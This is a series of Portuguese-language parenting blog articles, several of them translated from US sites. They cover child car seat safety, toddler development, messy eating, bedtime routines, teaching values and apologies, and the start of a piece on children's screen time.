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10 coisas sobre a cadeirinha de bebê para automóvel

Todos os pais precisam ter um horário para colocar os filhos na cama, uma estratégia de disciplina para o dia a dia, regras para o tempo em que os pequenos passam no celular e, sim!, cadeirinha de bebê para automóvel. Embora todos os itens que citamos sejam importantes para a saúde e o bem-estar das crianças, nenhum é tão importante quanto a vida. Acidentes de carro são uma das principais causas de morte entre crianças.

No Brasil, segundo dados do Ministério da Saúde, o acidente de trânsito é a principal causa de morte acidental de crianças e adolescentes com idades de cinco a 14 anos. Somente em 2018, 9.581 foram hospitalizadas e dois anos antes, 897 crianças dessa faixa etária morreram vítimas de acidentes de trânsito. Então, precisamos MESMO levar isso a sério e aqui estão 10 fatos que todos os pais devem saber sobre a cadeirinha de bebê para automóvel:

Fato 1. Se o assento do carro mexer mais de uma polegada de cada lado, ele não está instalado corretamente. 

Tem um assento de carro balançando? Tente de novo. Existe uma grande probabilidade de ter um cinto de segurança torcido, colocado no lugar errado ou que não foi puxado com força suficiente.

Fato 2. Virado para trás é melhor.

Se o seu filho tiver entre 18 e 48 meses, coloque-o na cadeirinha. Especialistas em todo o mundo sugerem que os pais mantenham os filhos voltados para trás o maior tempo possível.

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Nunca os coloque de frente antes dos 2 anos. Se você tem uma criança em idade pré-escolar que ainda está voltado para trás, isso significa mais tranquilidade para você.

Fato 3. O teste de pinça do ombro salva vidas.

Se houver uma folga no cinto de ombro quando você o segura com o polegar e o indicador, ele precisa ser apertado. Ignore o choro de seu bebê. Isso é necessário para a segurança dele.

Fato 4. Casacos fofos e cadeirinhas não combinam.

Um bebê ou criança pequena em um assento de carro vestindo um casaco de inverno ou um casaco de neve muito grande é perigoso. Um cobertor ou camada sobre o cinto é bom, mas por baixo o coloca na zona de perigo.

Fato 5. As tiras superiores existem por uma razão

As tiras superiores da cadeirinha, que prendem o bebê, são usadas para ajudar a impedir que a cadeira e o bebê tombem para a frente no caso de um acidente.

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Embora seja essencial, há muitos pais que optam por não prendê-la. Todo carro vendido depois de 2001 tem três pontos de ancoragem e um deles é para esse cabo.

Fato 6. Assentos de carro mais caros não são necessariamente mais seguros.

Todos os assentos de carro vendidos devem atender aos padrões de segurança do país. O que isso significa? O assento mais seguro é aquele que se encaixa no veículo e na criança e é instalado e usado corretamente. 

No Brasil, a Lei da Cadeirinha existe desde 2008. Trata-se da Resolução 277 do Conselho Nacional de Trânsito (Contran), que determina que crianças menores de dez anos devem ser transportadas nos bancos traseiros dos veículos, com as cadeiras específicas. Além disso, elas devem estar usando o cinto de segurança individualmente.

Fato 7. Algumas crianças precisam de um assento de elevação

Crianças com menos de um metro e meio de altura devem usar um assento de elevação. Especialistas recomendam que as crianças usem esse assento de elevação até que tenham pelo menos 1,45 m de altura, por questões de segurança.

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A partir de 10 anos de idade, a criança não precisa, obrigatoriamente, viajar na cadeirinha, mas deve viajar no banco traseiro, sempre com cintos de segurança. 

Fato 8. Técnicos são melhores em instalações de assentos de carro

Os bombeiros não são o melhor recurso para ajudar a garantir que seu assento de carro esteja instalado corretamente, a menos que o bombeiro seja certificado para instalar um assento de carro. Procure um técnico certificado para instalar sua cadeirinha de bebê para automóvel e fazer a verificação de segurança adequada. Um assento de carro instalado incorretamente pode se soltar em um acidente e causar grandes danos ao seu bebê.

Fato 9. Os acessórios do assento de carro estão proibidos.

Brinquedos, espelhos e outros acessórios podem se soltar com o impacto e atingir o seu filho – e se você estiver dirigindo em alta velocidade, mesmo o menor pedaço de plástico pode causar grandes danos. Aqui está uma regra prática: se ele não vier com a cadeirinha ou se não é recomendado pelo fabricante, não use.

Fato 10. Pais esquecem os bebês no banco de trás.

Um assento de carro voltado para trás, um bebê adormecido e um pai com privação de sono podem levar a uma combinação mortal. Os bebês morrem de superaquecimento no banco traseiro todos os anos.

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Se você dirige regularmente com seu bebê pela cidade ou para a creche, use um alarme de assento de carro. Ele permite que você saiba que o seu filho está no banco de trás na cadeirinha de bebê para automóvel e pode salvar uma vida.

Para terminar, veja essas dicas do Departamento Nacional de Infraestrutura de Transportes (DNIT)

  1. Bebês de até um ano: bebês de até um ano de idade (ou 13kg, dependendo da recomendação do fabricante) devem ser transportados no bebê-conforto ou numa poltrona reversível, sempre no banco traseiro e voltado para o vidro de trás do veículo; 
  2. Um a quatro anos: crianças de um a quatro anos (aproximadamente 9kg a 18kg) devem usar a poltrona reversível no banco de trás, mas a partir de agora ela deve ser virada para a frente do veículo; 
  3. Quatro a sete anos e meio: as crianças entre quatro e sete anos e meio de idade (com cerca de 18kg a 36kg) precisam usar um assento de elevação, também chamado de booster, no banco traseiro do veículo, junto com o cinto de segurança de três pontos; 
  4. Sete anos e meio a 10 anos: crianças com idade entre sete anos e meio e 10 anos devem viajar no banco traseiro do carro com o cinto de segurança de três pontos. Alguns especialistas recomendam que as crianças usem o assento de elevação até que tenham pelo menos 1,45 m de altura, por questões de segurança. A partir de 10 anos de idade, a criança não precisa, obrigatoriamente, viajar na cadeirinha, mas deve viajar no banco traseiro, sempre com cintos de segurança. 
Com informações do site Fatherly.com, do Conselho Nacional de Trânsito (CONTRAN) e do Departamento Nacional de Infraestrutura de Transportes (DNIT).

Crise dos dois anos? Crianças são mágicas, não terríveis!

Hoje vamos te contar uma coisa muito interessante sobre o desenvolvimento infantil: apesar da famosa crise dos dois anos, crianças dessa idade não são maníacas, são mágicas ✨. Claro, elas podem testar sua paciência ao decidir tirar a fralda e fazer xixi no chão da sala ou insistir em fazer uma birra enquanto você precisa terminar as compras, mas isso não significa que elas sejam terríveis.

Muito pelo contrário. Elas querem fazer você feliz, dar e receber amor incondicionalmente, mas estão experimentando muitas emoções novas e fazendo o possível para navegar nessas águas da crise dos dois anos. Crianças de dois anos estão aprendendo e crescendo, cometendo erros e se tornando pequenos seres humanos.

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Mães são apenas humanos. E, como mãe, sempre tento me lembrar que meu pacotinho de amor de dois anos não está tentando me irritar intencionalmente. Ela não está tentando apertar meus botões. Ela está tentando me mostrar quem é, apesar da crise dos dois anos.

Ao mesmo tempo, crianças de dois anos nos lembram todos os dias o quanto esse é um momento mágico em nossas vidas. Vamos te contar o porquê:

Elas gostam de você mesmo nas piores horas

Seu hálito matinal pode cheirar muito, muito mal, mas eles ainda o beijarão com entusiasmo. Você pode não ter tomado banho por um dia ou dois, mas eles ainda dizem que você é linda.

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Quando você chora após um dia terrível no trabalho, eles lhe dão um grande abraço e o confortam – sem julgamento. O amor deles é leal, tolerante e enorme. O que é uma crise dos dois anos diante de todo esse amor?

Elas nos lembram como é bom curtir o momento

Brincar de correr com a minha filha à noite, antes de ir para a cama – agir como um tolo, como se não existisse mais nada além daquele momento – é um dos melhores sentimentos deste planeta. É a verdadeira felicidade. Nessas ocasiões, percebo que não estou me preocupando com nada. Minhas tensões desaparecem momentaneamente e minha lista de tarefas é salva em algum lugar fora do meu campo de visão e fora da minha mente.

Elas ajudam a apreciar as coisas simples

Os olhinhos da criança estão sempre observando e apontando coisas que normalmente passariam despercebidas para você. Além disso, eles costumam ficar empolgados com presentes simples, como um novo livro de adesivos de R$ 5,00, por exemplo.

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A perspectiva deles sobre a vida e o mundo à sua volta repercute em você. Eles o forçam a parar e olhar em volta para apreciar o que está bem à sua frente.

Elas reacendem sua imaginação

Antes de ter filhos, quanto você exercitou os músculos da sua imaginação? Provavelmente não tanto quanto você faz agora! Fingir que você é uma princesa de fadas que tem que tomar leite na fazenda ou um pirata que precisa lutar contra um tubarão no oceano assustador farão você lembrar o quanto brincar é divertido. E esses momentos podem inspirá-lo de várias maneiras.

Elas são capazes de se comunicar e entender

Observar seu bebê crescer bem diante de seus olhos é incrível, assustador e, de certa forma, de partir o coração. Acho que sempre sentiremos falta dos nossos bebês. Mas que alegria é vê-los se transformar em uma criança assertiva que anda e fala! Às vezes eles conseguem falar com palavras. Às vezes vão dar outro jeito de mostrar o que eles querem ou precisam.

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O fato é que eles estão amadurecendo e entendendo cada vez mais a cada dia, diante de nossos olhos.

Elas mandam “a real”

Esses pequeninos sabem como falar a verdade e não têm medo de fazê-lo. Eles não têm filtros, então não são realmente capazes de se contar. Em um mundo em que outros adultos podem ter medo de lhe dizer certas coisas, você obterá a verdade direta de seu filho.

Elas ainda tiram sonecas (ufa!)

Se você ainda é abençoado por ter um filho que cochila, aproveite. Desfrute do momentos de paz e sossego quando o seu filho estiver dormindo. Leia um livro, lave a roupa, responda e-mails, veja um filme ou tire uma soneca – seu tempo, suas regras. Porque um dia você terá uma criança de quatro anos que declarará: sem mais sonecas, mamãe. Sim, esse dia vai chegar…

Elas fazem coisas engraçadas e riem das suas piadas

As crianças inventam as coisas mais aleatórias para dizer e fazer e é impossível não rir. Além disso, seres humanos pequenos quase sempre riem de suas caras engraçadas e de suas piadas bregas.

Elas sempre serão seu bebê

Não importa o quanto as crianças tenham crescido e mudado ao longo do tempo. Elas ainda se parecem com o seu bebê inocente (especialmente quando estão dormindo!) E você sabe o que mais? Isso provavelmente nunca vai mudar, muito menos com uma pequena crise dos dois anos.

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Comer com a mão ajuda o desenvolvimento infantil

Quando o assunto é desenvolvimento infantil, mães costumam ficar à beira da loucura se filhos pequenos fazem bagunça durante as refeições. Mas, para a terapeuta ocupacional pediátrica Ashley Thurn, especializada em questões sensoriais relacionadas à alimentação, os benefícios de deixar os filhos fazerem bagunça enquanto comem são muito maiores do que a desordem.

Então, confira o depoimento dela ao site Motherly, parceiro da The Little Gym internacional.

Vejo de perto o quanto mães como eu demoramos a deixar os pequenos comerem sozinhos para evitar a bagunça. O problema de não deixar as crianças se alimentarem sem a nossa ajuda e de não permitir que os bebês explorem alimentos com as mãos é que, em alguns casos, isso pode contribuir para padrões alimentares mais seletivos a longo prazo. Não deixá-los comer sozinhos e explorar alimentos com as mãos pode interferir no desenvolvimento das habilidades motoras orais, aquelas habilidades que ajudam a boca, língua, lábios e bochechas a trabalhar de maneira coordenada para misturar e engolir alimentos.

Bebês aprendem através do toque

Os bebês são naturalmente movidos por seu senso tátil e exploram o mundo ao seu redor com seu senso de toque. Eles tocam, sentem e exploram objetos ao seu alcance, trazendo itens que descobriram à boca. Isso os ajuda a entender mais sobre o ambiente.

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As pontas dos dedos, os lábios e a língua abrigam mais receptores sensoriais do que qualquer outra região do corpo humano. Esses receptores são células que recebem informações táteis ou as levam ao cérebro para nos ajudar a entender o que são e como são as coisas. Os bebês aprendem a aceitar novas texturas nessa ordem muito específica de toque: primeiro as mãos e depois a boca. 

Bebês e crianças pequenas devem ter a oportunidade de tocar, sentir e cheirar seus alimentos, a fim de determinar se estão dispostos a experimentá-lo com a boca.

Desejo por autonomia faz parte do desenvolvimento infantil

Outra característica importante do desenvolvimento infantil é que bebês são naturalmente motivados pela necessidade de autonomia e independência. Simplificando: eles querem descobrir como as coisas funcionam por conta própria. Isso pode explicar porque, às vezes, as primeiras palavras de uma criança costumam ser “não”, “eu mesmo”, “eu” ou “meu”.

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Certamente, alguns bebês são mais passivos que outros, mas, na maioria das vezes, as crianças querem fazer as coisas por si mesmas. Isso é especialmente importante para o desenvolvimento infantil durante o período crítico de introdução de alimentos.

É importante permitir que os bebês explorem os alimentos em seus próprios termos, quando estiverem prontos, e não invadir esse impulso inato de autonomia na alimentação. Isso é importante porque a autonomia alimentar pode estabelecer uma estrutura para o desenvolvimento de um relacionamento saudável com os alimentos e ajudar as crianças a sintonizar suas próprias indicações nutricionais internas.

A moral da história aqui é que, para estimular o desenvolvimento infantil, quanto mais deixamos nossos filhos liderarem a mesa de jantar, mais confortáveis ​​eles se sentem com a comida e as refeições.

Bagunça saudável ajuda na educação das crianças

Quando uma criança não tem experiências básicas com texturas nas mãos e nunca costuma ser exposta a diferente texturas na natureza, ela pode se tornar sensível demais às informações táteis. Essas crianças geralmente choram ou gritam se tiverem mãos ou rosto sujos e se recusam a brincar na areia ou na grama. 

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Assim, precisamos ensinar aos nossos filhos (e nos treinar também como mães) que desordem também tem seu papel. Ela é uma parte crucial da brincadeira e do desenvolvimento infantil.

Crianças precisam sentir a comida com as mãos. Essa parte importante da brincadeira sensorial promove uma tolerância a uma variedade maior de texturas. Por isso, quanto mais texturas elas puderem explorar com as mãos e até com os pés, melhor. O mais provável é que desde cedo nossos filhos permitam que essas texturas diferentes entrem em suas bocas na forma de novos alimentos.

Coordenação motora

A última, mas certamente não menos importante, razão pela qual a bagunça beneficia os bebês durante a alimentação é que ela melhora o desenvolvimento da coordenação olho-mão e das habilidades motoras finas. Essas habilidades manuais afetam o desempenho de uma criança em muitas habilidades relacionadas à vida e na escola. 

Alguns exemplos de habilidades para a vida que dependem de uma coordenação olho-mão refinada são vestir, escrever à mão, amarrar sapatos, usar utensílios e cortar. A coordenação olho-mão começa a ser adquirida entre os 6 e 18 meses de idade”.

Como colocar as crianças para dormir sem confusão

Todo pai sabe que a luta para colocar as crianças para dormir é frequente. Reclamações, atrasos constantes ou leitura de livros que se estende noite adentro são comuns para a maioria das famílias com crianças. Mas há pais que descobriram como sobreviver a este momento e resolveram compartilhar um pouco dessa sabedoria com a gente. Aqui estão algumas de suas dicas premiadas. Antes de começar, um pequeno spoiler: para colocar as crianças para dormir, rotina é a chave de tudo!

A dica de Becky Maguire

“Rotina constante, a mesma de quando eles são muito pequenos!!! A mesma hora para dormir todas as noites, a mesma rotina (aquela que você decidir!). Seja sábio sobre o que você decide, porque você vai cantar essa música por um longo tempo!” 

A dica de Lesley Carrigan

“Não somos rigorosos quanto à hora exata de colocar as crianças para dormir, mas as noites da semana são bem fáceis. Eles escovam os dentes e escolhem um livro. Geralmente a mamãe lê, mas às vezes a própria criança em idade escolar lê. Beijos, luzes apagadas. Nosso filho do meio é nossa coruja noturna, então às vezes ele  “enrola”, mas na maioria das vezes todos seguem nossa regra: você não precisa dormir, mas precisa ficar na cama”. 

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A dica de Jill Hutchinson Hollis

“Eu tenho dois filhos com 9 e 5 anos. Quando o mais velho tinha cerca de 6 anos, eu o mandava para a cama ouvindo audiolivros, porque ele não queria ficar sozinho no escuro. De alguma forma isso ajudou e ele passou a ouvir a história até cair no sono. Os audiolivros realmente melhoraram sua memória e ele está lendo quatro séries à frente agora! Isso me permite deitar com meu mais novo, depois de ler seus dois livros. Ele nunca me deixa esquecer isso! Saio quando ele está completamente adormecido”. 

A dica de Julie Guggenheim Berry

“Para encontrar paz na hora de colocar as crianças para dormir, comece quando eles são pequenos e mantenha as regras da hora de dormir. Isso significa que você dirá não a ​​muitas coisas, mas vai ajudar muito”.

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A dica de Megan Gardea

“Constância é a chave! Usamos música, ruído branco e também um gráfico de figuras para que as crianças sintam que têm algum controle sobre a rotina. Todo mundo sabe o que está por vir e não há surpresas. A hora de dormir é cedo. Temos três filhos. Meu marido e eu alternamos quem faz quem dormir para que não nos cansemos de tentar fazer os três dormirem sozinhos em uma noite. Lembre-se: sono gera sono. Quanto mais cedo eles dormirem, mais tempo dormem e o sono será reparador, que é o que eles precisam para converter novas informações do dia em lembranças permanentes!”

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A dica de Melanie Bennett

“Você deve ter uma rotina de dormir constante desde tenra idade. Temos banho, livros, escovar os dentes, cama, luzes apagadas, porta fechada (com luz noturna). Como essa sempre foi a regra, já é o que eles esperam e não precisamos lutar contra eles para que fiquem na cama. Toda noite é perfeita? Nem um pouco … Mas, no geral, as coisas são tranquilas”.

A dica de Elizabeth Alton

“Rotina. Nós tomamos banho todas as noites a partir das 18h30. Às sete, eles estão de pijama. Leite e três histórias (nem mais nem menos). Depois, escovar os dentes e apagar as luzes. Temos perguntas para dormir que os ajudam a se acalmar e reduzir o falatório. São as mesmas cinco perguntas todas as noites: ‘Qual foi a sua coisa favorita hoje?’, ‘Houve algo que você não gostou?’ ‘Como você foi gentil hoje?’ ‘O que você acha que faremos amanhã?’ e ‘Quanto eu te amo?’. As duas crianças, de 6 e 3 anos, geralmente desmaiam após dez minutos”

A dica de Nicole Ann Montgomery

“O que realmente funcionou para nós foi fazê-los irem para a cama um de cada vez. Tranquilamente, com um dos pais lendo, abraçando ou conversando calmamente. Não sei dizer quantas vezes adormeci na cama de um dos meus filhos nem com que frequência eles dormiram na minha. Eles agora têm 10 anos, quase 12 e 14 anos, e vão para a cama por conta própria, mas ainda temos conversas, abraços e beijos na hora de dormir dos três”.

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A dica de Corey Doncaster

“Os aplicativos noturnos são a melhor coisa! Minha filha começa a navegar neles e escolher qual história ou canção de ninar ela quer. Isso dá a ela uma sensação de controle e engajamento. Cinco minutos depois, ela está dormindo e roncando profundamente”

A dica de Amanda Sapian

“Fazemos uma última chamada para lanches e bebidas 30 minutos antes da hora de dormir. Isso eliminou as reclamações de ‘estou com fome’ e ‘estou com sede’ do quarto de nossa filha depois que vamos deitar!”

Este material foi traduzido do site Huffpost. O texto original (em inglês) pode ser lido aqui.

Um guia para criar crianças responsáveis e empáticas

Especialista em educação infantil, pai de quatro filhos e avô de dois netos, mostra como pais e mães podem incluir valores
importantes no dia a dia da família. Um guia para criar crianças responsáveis, pacientes e empáticas

Habilidades sociais são cruciais para crianças de todas as idades, e é importante que elas sejam reforçadas, tanto na sala de aula quanto em casa, durante toda a infância. Mas como pais e mães podem ensinar às crianças valores importantes como cooperação, gratidão, empatia ou educação? Existe um guia para criar crianças responsáveis, pacientes e empáticas?

Afinal, esses valores são crenças básicas e fundamentais que nos ajudam a saber o certo do errado, que dão equilíbrio e significado à vida e que nos permitem formar laços na comunidade em que vivemos.

Então, veja algumas maneiras fundamentais de criá-los em seus filhos pequenos, listadas pelo expert em educação infantil Richard Peterson:

Bondade

Realizar atos aleatórios de bondade pode ter uma influência positiva sobre o indivíduo. Em família, uma boa opção é pensar em maneiras pelas quais cada um pode demonstrar bondade com os outros. Algumas ideias são assar biscoitos para o carteiro, doar um brinquedo fechado para uma instituição de caridade local, comprar enlatados para um abrigo ou deixar anotações e desenhos para os vizinhos. Inclua seu filho no processo para que ele possa ver em primeira mão a alegria que a bondade pode trazer para os outros.

Responsabilidade

As crianças têm um forte desejo de imitar os adultos da família adultos. Incentive seu filho a ajudar com tarefas simples dentro e fora de casa. As crianças sentem um grande senso de realização quando podem fazer sua parte e sentir esse senso de responsabilidade. Crianças de dois anos, por exemplo, costumam gostar de dobrar toalhas, guardar livros, colocar papel na caixa de reciclagem e cuidar do jardim. As crianças mais velhas podem gostar de contribuir na cozinha ou no trabalho no quintal.

Paciência

Paciência é a capacidade de demonstrar autocontrole enquanto aguarda a ocorrência de um evento. Também se refere à capacidade de manter a calma diante da frustração. Esta é uma habilidade que se desenvolve nas crianças à medida que amadurecem. Embora seja importante praticar a paciência, os adultos também devem ser realistas em suas expectativas, avaliar rotinas diárias e eliminar longos períodos de tempo de espera.

Polidez

Programe um horário em que toda a família possa se sentar junta para jantar. Modele boas maneiras e incentive os irmãos mais velhos e outros membros da família a fazerem o mesmo. Use frases como “Você pode passar as batatas?” ou “obrigado”. Certifique-se de fornecer orientação ao seu filho, explicando o que fazer em oposição ao que não fazer.

Flexibilidade

De antemão, mMude suas rotinas em casa para incentivar as crianças a serem flexíveis em seus pensamentos e tentar coisas novas. Tente ser flexível nas pequenas coisas: tome café da manhã no jantar, tome sorvete com um garfo, peça ao seu filho que leia uma história para dormir ou faça um piquenique na sala de estar. Diga ao seu filho que não há problema em fazer as coisas de uma maneira diferente.

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Empatia

Desde cedo, as crianças começam a entender emoções diferentes e a descobrir que outras pessoas têm sentimentos. Ao longo da infância, converse sobre os sentimentos de seu pequeno e compartilhe o seu próprio sentimento com eles.

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Ao reservar um tempo para ouvir como as crianças estão se sentindo, você demonstrará que se importa e reforçará com elas que entende completamente como elas estão se sentindo.

Cooperação

Coordene datas de brincadeiras ou leve seus filhos a eventos em que eles possam praticar se apresentando a outras crianças e, potencialmente, com adultos. Encontre jogos e outras atividades que exijam turnos e compartilhamento.

Gratidão

Incentive seu filho a passar cinco minutos todos os dias listando as coisas pelas quais é grato. Isso poderia ser feito juntos antes de dormir ou depois do jantar.

Respeito

Definitivamente, como pais, nosso objetivo é ensinar as crianças a reconhecerem que, embora as pessoas tenham gostos e desgostos diferentes ou crenças e ideias, elas devem se tratar com maneiras e positividade. Deve-se mostrar respeito ao compartilhar, limpar e ouvir os outros.

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Sempre ensine a antiga regra: trate os outros da maneira que você gostaria de ser tratado. Lembre também que as crianças podem demonstrar respeito pelas coisas da sala de aula. O tratamento correto de materiais e brinquedos mostra apreço pelo que temos.

Quem é Richard Peterson 

Richard Peterson tem mais de 20 anos de experiência em educação infantil. Como vice-presidente de educação da Kiddie Academy, ele fornece suporte diário ao departamento de educação da instituição nas áreas de currículo, avaliação, treinamento, credenciamento e licenciamento de puericultura.

Além disso, antes de ingressar na Kiddie Academy, ele passou mais de 20 anos no gerenciamento de vários locais em ambientes educacionais.

Para terminar, Peterson é bacharel em Direito e em Biologia pela Universidade de Maryland. Também é pai de quatro filhos e avô de dois, com quem trabalha constantemente em educação e desenvolvimento pessoal.

Este material foi traduzido do site Motherly, parceiro da The Little Gym internacional. Texto original (em inglês): https://www.mother.ly/child/activities-that-teach-positive-values

Como ensinar seu filho a pedir desculpas

“Peça desculpas” é o que dizemos aos nossos filhos quando eles pegam o brinquedo de alguém, batem no irmão ou fazem outras coisas indesejáveis. E é frequentemente aí que a conversa termina, com pouca ou nenhuma discussão sobre o que aconteceu, por que foi prejudicial à pessoa com quem a criança se desculpou, como lidar com a mágoa que causou e o que pode fazer para mudar seu comportamento.

Por isso é importante entender como ensinar seu filho a pedir desculpas quando ele comete erros. Pedir desculpas superficiais, especialmente quando elas são proferidas de má vontade, não é suficiente para mudar o comportamento da criança. Além disso, geralmente esses pedidos padrão tendem a se repetir na idade adulta.

Isso é problemático, como vimos, por exemplo, nas satisfações dadas por pessoas públicas importantes como Harvey Weinstein, Louis CK, Kevin Spacey e Matt Lauer, recentemente acusados de atos de assédio ou agressão sexual. Suas manifestações indicam para, para determinadas pessoas, apenas pedir desculpas é suficiente, mesmo quando o pedido vem seguido de explicações que reforçam seu ponto de vista ou culpam as vítimas.

Pedir desculpas de coração

Pedidos de desculpa superficiais são feitos geralmente sem arrependimento de todo o coração nem vontade de fazer reparos adequados.

“Eles podem conter uma transferência de responsabilidade (“Peço desculpas por minha equipe ter cometido um erro”) ou envolver a linguagem condicional, que muda o foco para a pessoa prejudicada (“Desculpe se você ficou ofendido”). Podem também ser tão vagos que não fazem sentido (“Sinto muito pelo que aconteceu’)”

Edwin Battistella, professor de linguística na Southern Oregon University e autor do livro “Sorry About That: The Language of Public Apology”, lançado nos Estados Unidos em 2014 e ainda sem tradução no Brasil.

O ato de pedir desculpas realmente, por adultos ou crianças, precisa conter o reconhecimento sincero de que você fez algo errado. E é isso que pode ser tão difícil: ninguém gosta de admitir um erro. 

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A propósito, no caso específico das crianças, há algo muito complicado chamado dissonância cognitiva, que é aquela sensação estranha que se tem ao tentar manter duas crenças contraditórias ao mesmo tempo. Por exemplo, uma criança pode acreditar que é uma pessoa gentil, mas também vê que fez algo ruim. Como aliviar essa tensão? Muitas vezes, a saída que encontramos é sugerir que o que aconteceu não foi tão ruim assim ou que a pessoa mereceu.

Um bom pedido de desculpas começa com a orientação

A maneira como orientamos as crianças em um pedido de desculpas é tão importante quanto o próprio pedido de desculpas. O primeiro passo para ensinar seu filho a se desculpar é fazer com que ele – e você mesmo – dê um passo atrás.

Digamos que seu filho pegou um dos brinquedos do amigo e fugiu, deixando o coleguinha chorando. Fazer com que os pequenos lidem com as consequências de suas ações no calor do momento não vai funcionar. Eles ainda estão sentindo as emoções que os levaram a se comportar daquela maneira e precisam se acalmar antes de estarem prontos para refletir sobre suas ações.

Portanto, não é a melhor ideia gritar “Pare de correr e devolva esse brinquedo ao seu amigo! Você precisa se desculpar agora”.

“É sempre imprudente tentar ensinar quando estamos com raiva ou nossos filhos têm dificuldade em ouvir. Também não podemos ensinar quando estamos envergonhados na frente dos outros”, explica Ellen Goldsmith, assistente social clínica especializada em crianças e adolescentes.

Então, quando seu filho estiver mais calmo, você poderá resolver o que aconteceu.

Falando sobre sentimentos

Uma das saídas é descobrir o que seu filho estava sentindo e como essas emoções podem ter levado ao comportamento problemático. Então, você pode perguntar: “O que você estava sentindo antes de pegar o brinquedo do seu amigo?”. 

Seja qual for o motivo, a ênfase deve estar em suas ações serem o problema, não em suas emoções. Todas as emoções são boas. O que faz diferença é como lidamos com elas. “Precisamos nomear os sentimentos. Caso contrário, as crianças podem se perder em seus sentimentos, como nós às vezes fazemos”, afirma Goldsmith.

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Depois que eles entenderem mais sobre suas emoções e comportamento, é hora de falar sobre como a outra pessoa se sentiu. Você pode fazer isso relacionando a situação com algo semelhante pelo qual a criança passou.

Por exemplo, talvez o irmão do seu filho tenha pegado seu brinquedo favorito sem pedir e se recusado a devolvê-lo. Você pode pedir que ele pense e se lembre de como se sentiu nesse caso. Depois, uma dica é ressaltar que pode ser como o amigo dele se sentiu quando teve seu brinquedo levado.

Brainstorming com crianças

Você também pode perguntar ao seu filho o que ele faria de diferente neste caso se pudesse. Vocês podem imaginar opções juntos. “O brainstorming com crianças pode proporcionar momentos maravilhosos de ensino. Pode ajudá-lo a escrever ou desenhar as opções de como responder potencialmente ”, orienta Goldsmith.

Na opinião da especialista, mostrar às crianças que erros são oportunidades para refletir e aprender pode mudar a maneira como elas vêem os erros. Além disso, trata-se de uma forma de combater o modo defensivo como instintivamente costumamos agir diante dos nossos equívocos.

Os ingredientes de um conversa que funcione

Depois dessa conversa inicial, seu filho está pronto para se desculpar. Um pedido de desculpas sincero precisa priorizar os sentimentos da outra pessoa e demonstrar arrependimento.

“Um bom pedido de desculpas precisa mencionar o dano causado, demonstrar arrependimento sincero e de alguma forma reparar o dano”, confirma o professor Edwin Battistella. 

Em um treinamento para professores, a ex-professora da escola primária JoEllen Poon aprendeu sobre uma abordagem simples de desculpas que atinge todos os pontos-chave. Três frases – “Desculpe”, “Isso está errado porque…” e “No futuro, eu irei…” – guiam os alunos pelas etapas.

Ela falou sobre suas experiências ensinando as crianças a se desculpar em um popular post no blog Cuppacocoa. É neste momento que a sua conversa anterior com o seu filho será útil, pois ele já saberá como completar as frases que Poon utiliza como bases.

“Meus alunos começaram a alimentar relacionamentos de uma maneira nova. Cada vez mais, eles tomavam a iniciativa de pedir desculpas um ao outro, em vez de esperar que um adulto os obrigasse a fazê-lo. Eles pararam de agir como se estivessem ‘perdendo’ quando estavam se desculpando e, em vez disso, passaram a se ver ‘ganhando’ juntos por uma situação ter melhorado” afirma.

E completa: “Eles também pareciam realmente mudar seus comportamentos depois – crianças que incomodavam outras crianças diminuíram esses comportamentos, e todos pareciam mais sinceros em seus esforços para se harmonizarem entre si”.

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Depois de pedir desculpas, outra maneira de as crianças fazerem as pazes é agindo. “As crianças aprendem fazendo e, portanto, uma foto ou um abraço podem fazer toda a diferença. O mesmo vale para nós adultos também”, defende Goldsmith.

“Todos aprendemos pelo que os outros fazem e não pelo que eles dizem. Por isso, é muito mais importante nos ver fazer o que ensinamos e pregamos, ou eles nos verão como mentirosos ou hipócritas e sempre se lembrarão disso ”, disse Goldsmith.

Empatia e perspectiva

Mas o que acontece quando seu filho realmente acha que não fez nada de errado? Ele pode estar com dificuldade em admitir o que é errado ou pode não entender o ponto de vista da outra pessoa. Neste caso, uma opção é incentivar seu filho a perguntar ao amigo como ele se sentiu.

“Ser capaz de conversar com outra pessoa e ouvir o que a outra pessoa está explicando pode ajudar as pessoas a ter uma perspectiva diferente”, analisa Amy Hubbard, presidente do departamento de comunicação da Universidade do Havaí, e uma das autoras do estudo “Efeitos do Timing e da Sinceridade de um Pedido de Desculpas na Satisfação, Compreensão e Mudanças nos Sentimentos Negativos durante os Conflitos”.

No entanto, vale ressaltar que tudo o que for dito, mesmo o pedido de desculpas mais genuíno e livre de estigma, não significa que o solicitante tenha direito ao perdão. Existem coisas que não conseguiremos consertar e pessoas que não estarão dispostas a nos perdoar, e tudo bem. É importante ensinar aos nossos filhos que pedir desculpa não significa perdão certo, mas sim assumir a responsabilidade por nossas ações.

Pedir desculpas e admitir erros, desde a infância, ajuda bastante a criar empatia e a impedir que o mau comportamento de criança torne-se um padrão abusivo no futuro.

“Quando as crianças aprendem isso em tenra idade, torna-se natural e normal que elas se desculpem de uma maneira mais completa. Elas se acostumam a ser específicas sobre seus erros, examinando as consequências de suas ações, construindo empatia, fazendo um plano para realmente parar o comportamento indesejado e se permitindo sentir o desconforto de uma atitude humilde ao pedir perdão”.

JoEllen Poon

“Muitos de nós crescemos aprendendo a evitar emoções desconfortáveis ​​que vêm com um pedido de desculpas como esse, que se torna natural ser defensivo em vez de aberto e humilde. Esperemos que aprender a pedir desculpas adequadamente resultará em adultos mais atenciosos, cada vez mais conscientes da maneira como suas ações afetam os outros”, completa a ex-professora infantil. 

Este material foi traduzido do site Today’s Parent, parceiro da The Little Gym internacional. Texto original (em inglês): https://www.todaysparent.com/family/parenting/heres-what-works-way-better-than-forcing-your-kid-to-say-sorry/

Seu filho não sai do celular? Veja como trazê-lo de volta!

Relaxar um pouco diante da tela do computador, do celular ou do tablet é ótimo. Mas o que você faz se uma sessão de vídeo de uma hora leva a outra e depois outra e outra? Como resolver se seu filho não sai do celular?

Nicole Mains, 38 anos, se viu cedendo cada vez mais aos equipamentos eletrônicos após o nascimento de seu terceiro filho. Em uma típica manhã, seu filho mais novo, agora com 2 anos, entrava na cama e uma das primeiras coisas que ele dizia era “telefone”. 

Cansada demais para dizer não, ela lhe entregava um telefone para que ele pudesse assistir a programas como “Peppa Pig” por 45 minutos. Então seu filho de 4 anos acordava. Uma briga aconteceria pelo telefone – terminando com ela entregando um laptop ao menino mais velho. 

Já sua filha de 6 anos geralmente gasta em média duas horas por dia devorando vídeos do YouTube ou programas como “Barbie Life in the Dreamhouse”. Durante as refeições, ela olha para uma tela.

